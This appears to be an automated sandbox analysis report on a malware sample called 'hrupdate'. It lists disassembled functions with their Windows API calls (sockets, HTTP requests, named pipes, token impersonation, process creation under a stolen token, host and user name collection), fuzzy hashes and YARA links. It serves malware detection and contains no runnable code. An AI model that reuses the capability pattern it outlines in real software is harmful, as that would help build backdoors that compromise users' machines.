String ID:
API String ID: 744593125-0
Opcode ID: a118b4ac4a1cea09f6f3f2650337dad2a5ae1efef9dcb0e9e2dc2c989db29bf0
Instruction ID: 24878f33e2a1472535547e562a66f29922c0117c95a262e6e9c277435a23e302
Opcode Fuzzy Hash: a118b4ac4a1cea09f6f3f2650337dad2a5ae1efef9dcb0e9e2dc2c989db29bf0
Instruction Fuzzy Hash: 16318671900309BFEF016FA1ED4BEAE3F6DEB04358F145429FA04A6191EF39A512DB61

Function 04FCBBF1 Relevance: 6.1, APIs: 4, Instructions: 63sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCBC00
Sleep.KERNEL32(000003E8), ref: 04FCBC50
GetTickCount.KERNEL32 ref: 04FCBC56
WSAGetLastError.WS2_32 ref: 04FCBC5C

Part of subcall function 04FCBBAB: ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 04FCBBBD

Part of subcall function 04FCB387: _memset.LIBCMT ref: 04FCB3A8

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTick$ErrorLastSleep_memsetioctlsocket
String ID:
API String ID: 3301373915-0
Opcode ID: c938ac3300beb77ae71d324c76753f611069e993e2355c853d404c1ae4cd89ce
Instruction ID: 07211530dc7831ff3d3c10d9c361a4e57fa603370a7c8c088fb6b4467303b494
Opcode Fuzzy Hash: c938ac3300beb77ae71d324c76753f611069e993e2355c853d404c1ae4cd89ce
Instruction Fuzzy Hash: FC11E977C0411B6FEB01BBB4BE829AE776DDF44268F14002BE610A6090ED31B9875795

Function 04FC77F5 Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 04FC7851
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 04FC7874
GetLastError.KERNEL32 ref: 04FC787E

Part of subcall function 04FC4A19: _vwprintf.LIBCMT ref: 04FC4A23
Part of subcall function 04FC4A19: _vswprintf_s.LIBCMT ref: 04FC4A47

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID:
API String ID: 2004037343-0
Opcode ID: ffa6355c8a5d418c4743b5d09e4c974122d0b38166cbf439f52f83b0ab706163
Instruction ID: 9740372a23e2209f81e06398601b26f69dda6cb9eb499fe4a3c16d091a920853
Opcode Fuzzy Hash: ffa6355c8a5d418c4743b5d09e4c974122d0b38166cbf439f52f83b0ab706163
Instruction Fuzzy Hash: 9811607290021ABFEB10AFA4DE459EFBBBCEF48654F100429FA04F6050D631EE05CAB1

Function 04FD359B Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,74DF2E90,?,?,?,04FCBE90), ref: 04FD35CE
CheckTokenMembership.ADVAPI32(00000000,?,04FCBE90,?,?,?,04FCBE90), ref: 04FD35E3
FreeSid.ADVAPI32(?,?,?,?,04FCBE90), ref: 04FD35F3

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 6b549868339aac37b68b3ccfe9f06e2782d13e48a1772893665d475d42082f57
Instruction ID: c239f5f7df5b3ba6365337db489f16eba210ad8757e7e9f8c012ac46cda6d796
Opcode Fuzzy Hash: 6b549868339aac37b68b3ccfe9f06e2782d13e48a1772893665d475d42082f57
Instruction Fuzzy Hash: 9301197694528CFFDB01DBE89985AEEBF7CEF14204F44449AAA01A3142D6709B08DB25

Function 04FEC4E0 Relevance: 3.1, Strings: 2, Instructions: 612COMMON

Download Yara Rule

Strings

, xrefs: 04FEC85C
<, xrefs: 04FEC866

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID:
String ID: $<
API String ID: 0-428540627
Opcode ID: f97227e4bf5b4cbf7ce50ccc0aa0db7431b1fcbf39c9353cba1f3496891c78ff
Instruction ID: 4ff21518d02b1e632d32223480f3cf89b94e80b0a0daedde2ab8f093e610207b
Opcode Fuzzy Hash: f97227e4bf5b4cbf7ce50ccc0aa0db7431b1fcbf39c9353cba1f3496891c78ff
Instruction Fuzzy Hash: 8F52E375E001599FDB08CFA9D491AADBBF1EF4D301F14C16AE865AB342C238E951CFA4

Function 04FC78A5 Relevance: 1.5, APIs: 1, Instructions: 38pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeA.KERNEL32(?,00000003,00000004,00000002,00000000,00000000,00000000,00000000), ref: 04FC78F9

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 0670a894ed5281515b209fea383c6660a17f251d577b12c4a1812cbb18f6d3fa
Instruction ID: 5a5cb4490b3c2d9eeafef3159fed189b6e18a3df9c612def079280b6e75cf1cc
Opcode Fuzzy Hash: 0670a894ed5281515b209fea383c6660a17f251d577b12c4a1812cbb18f6d3fa
Instruction Fuzzy Hash: F3F0C8B150030EAFE720AF74BD86A5A7FDCE700368F101764B2A5D10D1E6B85E568E50

Function 00B037E2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000037EE,00B02EF1), ref: 00B037E7

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 244a63662d12ba9f93124cc6900ae7a8271731fb2fb3ccffa0b55bc7521a81dc
Instruction ID: 75784910e12a5ada53833c94bb0e83cf94bb44811f5f31bc2f4ef0188396f828
Opcode Fuzzy Hash: 244a63662d12ba9f93124cc6900ae7a8271731fb2fb3ccffa0b55bc7521a81dc
Instruction Fuzzy Hash:

Function 030DCA68 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_30d0000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction ID: 6a36877d4aeb547798fee2e1c34d2203a4eb675bf89196d74d04a41fd052457f
Opcode Fuzzy Hash: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction Fuzzy Hash: 9F519F74E0121A9FCB44CF98C590AEEBBF1FF88314F248599D815AB355D335AA41CFA4

Function 030DBE95 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_30d0000_hrupdate.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction ID: ed8bd191b2dbe9833deb3ba2ed8ec29a0f416031457cecd4690a8b4cd9fc1e9f
Opcode Fuzzy Hash: 2095bdf26c649b4205d96464923c7056190beb180ab0ce64cd05bb6d2762ada8
Instruction Fuzzy Hash: 85519E74E012199FCB48CF98C490AAEFBF1FF88304F248599D915AB355D335AA41CFA4

Function 04FCC902 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 210networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(04FC389E), ref: 04FCC93C
select.WS2_32(00000000,?,?,?,?), ref: 04FCC9A0
__WSAFDIsSet.WS2_32(34E85900,?), ref: 04FCC9BC
accept.WS2_32(34E85900,00000000,00000000), ref: 04FCC9D1
ioctlsocket.WS2_32(00000000,8004667E,00000000), ref: 04FCC9E4

Part of subcall function 04FCC308: _malloc.LIBCMT ref: 04FCC30F
Part of subcall function 04FCC308: GetTickCount.KERNEL32 ref: 04FCC32F

Part of subcall function 04FC48BF: _malloc.LIBCMT ref: 04FC48C5

Part of subcall function 04FC490F: htonl.WS2_32(00000000), ref: 04FC4915

Part of subcall function 04FC4A58: _memset.LIBCMT ref: 04FC4A66

__WSAFDIsSet.WS2_32(34E85900,?), ref: 04FCCA71
accept.WS2_32(34E85900,00000000,00000000), ref: 04FCCA83
closesocket.WS2_32(04FC389E), ref: 04FCCB91

Strings

d, xrefs: 04FCC91C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: d33ebdcfb46cff34d401c2e21eea5fe94381b35a7376f9746d9a5bf655abd26a
Instruction ID: 5e722a92122be3faeb7eb907090cc0748561eb85873d4109141d3a3197c64443
Opcode Fuzzy Hash: d33ebdcfb46cff34d401c2e21eea5fe94381b35a7376f9746d9a5bf655abd26a
Instruction Fuzzy Hash: C2713DB1C0064AAFEB21DFA5CE44EAFB7B8EF44304F1045AEE519E3150E731BA469B51

Function 04FC5DB9 Relevance: 19.7, APIs: 13, Instructions: 196networksleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC5DE4
_memset.LIBCMT ref: 04FC5DF9
__snprintf.LIBCMT ref: 04FC5E65
_memset.LIBCMT ref: 04FC5E73
__snprintf.LIBCMT ref: 04FC5E8F
__snprintf.LIBCMT ref: 04FC5EAE
__snprintf.LIBCMT ref: 04FC5F4C
__snprintf.LIBCMT ref: 04FC5F63
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,04FF656C,05009668), ref: 04FC5FA0
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 04FC5FC9
InternetCloseHandle.WININET(00000000), ref: 04FC5FDB
Sleep.KERNEL32(000001F4), ref: 04FC5FE2
InternetCloseHandle.WININET(00000000), ref: 04FC5FF3

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: __snprintf$_memset$CloseHandleHttpInternetRequest$OpenSendSleep
String ID:
API String ID: 3375730287-0
Opcode ID: 475278b11340d9e897ed8a287a7b89b2bbe2ada84872900855190bf838db586f
Instruction ID: 64bfa425a5b490b74f816d5ab5e4fde26fb1453d85e68d4dd2768ded416548fe
Opcode Fuzzy Hash: 475278b11340d9e897ed8a287a7b89b2bbe2ada84872900855190bf838db586f
Instruction Fuzzy Hash: AD6195B2D00219BFEB11AFA4DD44DEE7BBDEF04304F0444A5E645A3112DB35BA4ACB65

Function 04FCC701 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCC712
select.WS2_32(00000000,00000000,?,?,00000000), ref: 04FCC75D
__WSAFDIsSet.WS2_32(?,?), ref: 04FCC76D
__WSAFDIsSet.WS2_32(?,?), ref: 04FCC780
GetTickCount.KERNEL32 ref: 04FCC789
gethostbyname.WS2_32(?), ref: 04FCC794
htons.WS2_32(?), ref: 04FCC7A7
inet_addr.WS2_32(?), ref: 04FCC7B3
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 04FCC7CD

Strings

d, xrefs: 04FCC720

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: 212084c089c06191fa5885eab956cf6445178b77d8e9951ed821ce3bd5ff6cee
Instruction ID: d46130fe50433e1c36246819d7b250a67a713ac96eda0241677cb68bbed1662c
Opcode Fuzzy Hash: 212084c089c06191fa5885eab956cf6445178b77d8e9951ed821ce3bd5ff6cee
Instruction Fuzzy Hash: E521537294025EAFEF119FA0ED45BEF7BB9EF08300F1001A6E908E6151DB75EA518F91

Function 04FD0283 Relevance: 16.8, APIs: 11, Instructions: 289COMMON

Download Yara Rule

APIs

Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF65
Part of subcall function 04FCBF5F: _malloc.LIBCMT ref: 04FCBF75

_memset.LIBCMT ref: 04FD02EC

Part of subcall function 04FD075D: _memset.LIBCMT ref: 04FD0859

_malloc.LIBCMT ref: 04FD02FA

Part of subcall function 04FDDA1B: __FF_MSGBANNER.LIBCMT ref: 04FDDA3E
Part of subcall function 04FDDA1B: __NMSG_WRITE.LIBCMT ref: 04FDDA45
Part of subcall function 04FDDA1B: RtlAllocateHeap.NTDLL(00000000,?), ref: 04FDDA92

_memset.LIBCMT ref: 04FD030C

Part of subcall function 04FD3B98: _malloc.LIBCMT ref: 04FD3BBF
Part of subcall function 04FD3B98: _memset.LIBCMT ref: 04FD3BED

Part of subcall function 04FD0871: _memset.LIBCMT ref: 04FD0950

_malloc.LIBCMT ref: 04FD032F
_memset.LIBCMT ref: 04FD0341

Part of subcall function 04FD3B98: _realloc.LIBCMT ref: 04FD3BCE

htonl.WS2_32(00000000), ref: 04FD0372
GetComputerNameExA.KERNEL32(00000006,?,?), ref: 04FD03DB
GetComputerNameA.KERNEL32(04FCE6FF,?), ref: 04FD0408
GetUserNameA.ADVAPI32(?,?), ref: 04FD0435

Part of subcall function 04FC6388: WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 04FC63AC

_malloc.LIBCMT ref: 04FD0504
_memset.LIBCMT ref: 04FD0591

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_malloc$Name$Computer$AllocateHeapSocketUser_reallochtonl
String ID:
API String ID: 2958771099-0
Opcode ID: 7f05ed4a2b8daa947825c39a7fa45f605fa59cbd42ac85f7459a0f5c438a882c
Instruction ID: 559658f127321683c4c09cbe77142355a157dedbbe730f4308f605b3a45b368c
Opcode Fuzzy Hash: 7f05ed4a2b8daa947825c39a7fa45f605fa59cbd42ac85f7459a0f5c438a882c
Instruction Fuzzy Hash: 89910872D40308BFEB20ABA59C85FAF77AAEF44719F14401AF508AB181EE75F5438761

Function 04FC7E95 Relevance: 16.7, APIs: 11, Instructions: 184processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FC7EC3
_memset.LIBCMT ref: 04FC7EDF

Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,04FC80F0,?,04FC7F09,04FC80F0,?,00000400), ref: 04FC664B
Part of subcall function 04FC6635: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,04FC80F0,04FC7F09,?,04FC7F09,04FC80F0,?,00000400,?,?,?,?,04FC80F0), ref: 04FC6664

GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,04FC80F0,04FCD106,?,?,04FCD106,?), ref: 04FC7F29
GetCurrentDirectoryW.KERNEL32(00000400,?,?,?,?,?,?,?,?,04FC80F0,04FCD106,?,?,04FCD106,?), ref: 04FC7F38
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,C2E8296A,83FFFFD9), ref: 04FC7F6B

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_memset$CreateProcessTokenWith
String ID:
API String ID: 2486443368-0
Opcode ID: 5e5f180c0d30a5aee155c3231ec10f6a520349795789859b2333d30cc8ca512a
Instruction ID: 9e06dadd6b03c70eb393c5af7114a85fbe484b3f45111a2cd98acea5bd21c50d
Opcode Fuzzy Hash: 5e5f180c0d30a5aee155c3231ec10f6a520349795789859b2333d30cc8ca512a
Instruction Fuzzy Hash: 1651C472504347AFE721AF64DD84EAA77EDEF84304F14082DE945C3251EA35B90ACBA6

Function 04FD3268 Relevance: 16.6, APIs: 11, Instructions: 126COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 04FD3290
htonl.WS2_32(?), ref: 04FD32A0
GetLastError.KERNEL32 ref: 04FD32CC
OpenProcessToken.ADVAPI32(00000000,00000000,00000008), ref: 04FD32F0
GetLastError.KERNEL32 ref: 04FD32FA
ImpersonateLoggedOnUser.ADVAPI32(00000008), ref: 04FD3319
GetLastError.KERNEL32 ref: 04FD331F
DuplicateTokenEx.ADVAPI32(00000008,02000000,00000000,00000003,00000001,05009F5C), ref: 04FD333E
GetLastError.KERNEL32 ref: 04FD3348
ImpersonateLoggedOnUser.ADVAPI32 ref: 04FD335A
GetLastError.KERNEL32 ref: 04FD3360

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast$ImpersonateLoggedTokenUserhtonl$DuplicateOpenProcess
String ID:
API String ID: 332438066-0
Opcode ID: 1aceade7dba03570b7a6ee7a928be9562e5f2d1506a74dbb49a961a7ad11228c
Instruction ID: 728e0d00e861a214104077eb90e1d7d855f8d3dcbba75bffc36e4cfe964d394b
Opcode Fuzzy Hash: 1aceade7dba03570b7a6ee7a928be9562e5f2d1506a74dbb49a961a7ad11228c
Instruction Fuzzy Hash: B941B671D04209BFFB215F60EC49FBE3B6EEF00749F184055FE0595041EB7569469A62

Function 04FCB74E Relevance: 16.6, APIs: 11, Instructions: 90pipesleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCB75D
GetTickCount.KERNEL32 ref: 04FCB767
GetLastError.KERNEL32 ref: 04FCB7C1

Part of subcall function 04FD2BBA: _memset.LIBCMT ref: 04FD2C43

GetLastError.KERNEL32 ref: 04FCB783
WaitNamedPipeA.KERNEL32(?,00002710), ref: 04FCB798

Part of subcall function 04FCB387: _memset.LIBCMT ref: 04FCB3A8

Sleep.KERNEL32(000003E8), ref: 04FCB7A5
GetTickCount.KERNEL32 ref: 04FCB7AB
GetLastError.KERNEL32 ref: 04FCB7D1
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000), ref: 04FCB7EE
GetLastError.KERNEL32 ref: 04FCB7F8
DisconnectNamedPipe.KERNEL32(?), ref: 04FCB832

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: ErrorLast$CountNamedPipeTick$_memset$DisconnectHandleSleepStateWait
String ID:
API String ID: 3382687554-0
Opcode ID: b8b7320ae62a04bf73cb54710d82d5c9ff6cf7a9ee4bf468e6cd89a108b5ccf3
Instruction ID: 63ccd69abcb378d0126957711cc3b8f21d51293dda282b740e88afdce01857c9
Opcode Fuzzy Hash: b8b7320ae62a04bf73cb54710d82d5c9ff6cf7a9ee4bf468e6cd89a108b5ccf3
Instruction Fuzzy Hash: 4F210A36A4421A6FEB046FB4FEC7B6D765CDF04764F24052AFA05E60C0EE65788387A1

Function 04FCC63B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FCC64C
select.WS2_32(00000000,00000000,?,?,00000000), ref: 04FCC69A
__WSAFDIsSet.WS2_32(?,?), ref: 04FCC6AA
__WSAFDIsSet.WS2_32(?,?), ref: 04FCC6BD
send.WS2_32(?,00000000,?,00000000), ref: 04FCC6D1
WSAGetLastError.WS2_32(?,00000000,?,00000000,?,?,?,?), ref: 04FCC6DB
Sleep.KERNEL32(000003E8), ref: 04FCC6ED
GetTickCount.KERNEL32 ref: 04FCC6F3

Strings

d, xrefs: 04FCC65A

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: 5ba32616b8b850b173a9f4b3d7a941ea2a7a955f7bd1d2678686280c7c35516c
Instruction ID: dda5c8c64bce6f6e82517b278dfac602686edbe66ab664647c6b8ff518eda839
Opcode Fuzzy Hash: 5ba32616b8b850b173a9f4b3d7a941ea2a7a955f7bd1d2678686280c7c35516c
Instruction Fuzzy Hash: 2A115471D4025DAFDB119F60ED84BE97778EF04310F1041A6E60CE2190DBB4AE929FD0

Function 04FCC530 Relevance: 13.6, APIs: 9, Instructions: 101networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 04FCC54F
htons.WS2_32(00000000), ref: 04FCC560
socket.WS2_32(00000002,00000001,00000000), ref: 04FCC599
closesocket.WS2_32(00000000), ref: 04FCC5A8
gethostbyname.WS2_32(00000000), ref: 04FCC5C6
htons.WS2_32(?), ref: 04FCC5F2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 04FCC605
connect.WS2_32(00000000,?,00000010), ref: 04FCC616
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 04FCC61F

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 728be2ab2fab45c6268afe685c09c130ac552792652e7f39754e14affc0ab7cc
Instruction ID: 7ea3aa6b698e8ca6e6f1c6c643c110c211282276e3e6697deb074fa0f1ad6c74
Opcode Fuzzy Hash: 728be2ab2fab45c6268afe685c09c130ac552792652e7f39754e14affc0ab7cc
Instruction Fuzzy Hash: 6231FC72D002596FEB21EBE5DD44EBE77ACDF44319F10056AF508E7180F634A9028765

Function 04FC4AA2 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_vwprintf.LIBCMT ref: 04FC4AC1

Part of subcall function 04FDDF6C: __vscwprintf_helper.LIBCMT ref: 04FDDF7E

_malloc.LIBCMT ref: 04FC4AE6
htonl.WS2_32(?), ref: 04FC4B00
htonl.WS2_32(?), ref: 04FC4B0A
_vswprintf_s.LIBCMT ref: 04FC4B1F
_memset.LIBCMT ref: 04FC4B36

Strings

9, xrefs: 04FC4AD6

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: htonl$__vscwprintf_helper_malloc_memset_vswprintf_s_vwprintf
String ID: 9
API String ID: 1612592715-2366072709
Opcode ID: b222dc4a6c3d1dc7cad6385109202360a019710b8b2d318321727920776c14a3
Instruction ID: b80d537de38947cc2cfe6502ada3039380f889768db1b16e455b6a4c6f673ec2
Opcode Fuzzy Hash: b222dc4a6c3d1dc7cad6385109202360a019710b8b2d318321727920776c14a3
Instruction Fuzzy Hash: A011B972C00609BFEB12AFA4CD80AEE7BBDEF44258F10846AF954A7110E730A6168B50

Function 04FC6CA3 Relevance: 12.1, APIs: 8, Instructions: 105sleeppipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 04FC6CB9
GetLastError.KERNEL32 ref: 04FC6D1B
GetTickCount.KERNEL32 ref: 04FC6D26
Sleep.KERNEL32(000003E8), ref: 04FC6D31
GetLastError.KERNEL32 ref: 04FC6D3D
FlushFileBuffers.KERNEL32(?), ref: 04FC6DAD
DisconnectNamedPipe.KERNEL32(?), ref: 04FC6DB4
Sleep.KERNEL32(?), ref: 04FC6DC7

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: CountErrorLastSleepTick$BuffersDisconnectFileFlushNamedPipe
String ID:
API String ID: 3377695601-0
Opcode ID: b67a9876cb48b34c82fc347dcd885d26d351d216cd32b6629fce354187d9b321
Instruction ID: 4a0c249075283f08dc5021bc2daa7508cf1dded6811ce9da3f1476b1dc395a3e
Opcode Fuzzy Hash: b67a9876cb48b34c82fc347dcd885d26d351d216cd32b6629fce354187d9b321
Instruction Fuzzy Hash: 55314FB2D00209AFEB11EFE4DD84ADEB7BDEF44314F1404A6E945E2141EA35BE45CBA1

Function 04FDEB12 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04FDEB74
_memcpy_s.LIBCMT ref: 04FDEBE9
__fileno.LIBCMT ref: 04FDEC49
__read.LIBCMT ref: 04FDEC50
__filbuf.LIBCMT ref: 04FDEC74
_memset.LIBCMT ref: 04FDECBA
_memset.LIBCMT ref: 04FDECE5

Part of subcall function 04FDFE0C: __getptd_noexit.LIBCMT ref: 04FDFE0C

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 2dcd1c0d9137e8368c2b94111f2da4de1d422b23fb1f42fcf42c423265031aed
Instruction ID: 123111f0a924681696a64d688f7a72b6a7206a0e73fbb5634a4d0420605ffc2a
Opcode Fuzzy Hash: 2dcd1c0d9137e8368c2b94111f2da4de1d422b23fb1f42fcf42c423265031aed
Instruction Fuzzy Hash: 1551CA71E00A05EFDB219F69CC4499EBB77EF80325F1C8629F4269A190E731BA53DB50

Function 04FC9B4C Relevance: 10.7, APIs: 7, Instructions: 184COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04FC9B9E
_malloc.LIBCMT ref: 04FC9BA9
_memset.LIBCMT ref: 04FC9BB5
_memset.LIBCMT ref: 04FC9BC0
_rand.LIBCMT ref: 04FC9C1E
_memset.LIBCMT ref: 04FC9C99
_memset.LIBCMT ref: 04FC9CB5

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: bd76e6eb33a331fff77b9f9b30d23c3d5c76f507eddf405f9d7436c7c4fbde50
Instruction ID: 799cde5bcb7f4ba7ecb207a083d1dc92c84e78a1dbfabb7a867919e2717ceb2b
Opcode Fuzzy Hash: bd76e6eb33a331fff77b9f9b30d23c3d5c76f507eddf405f9d7436c7c4fbde50
Instruction Fuzzy Hash: 4E510771A0420ABFEB11DF789E54FFE7BA9DF46304F184099E884EB250DA71BA06C754

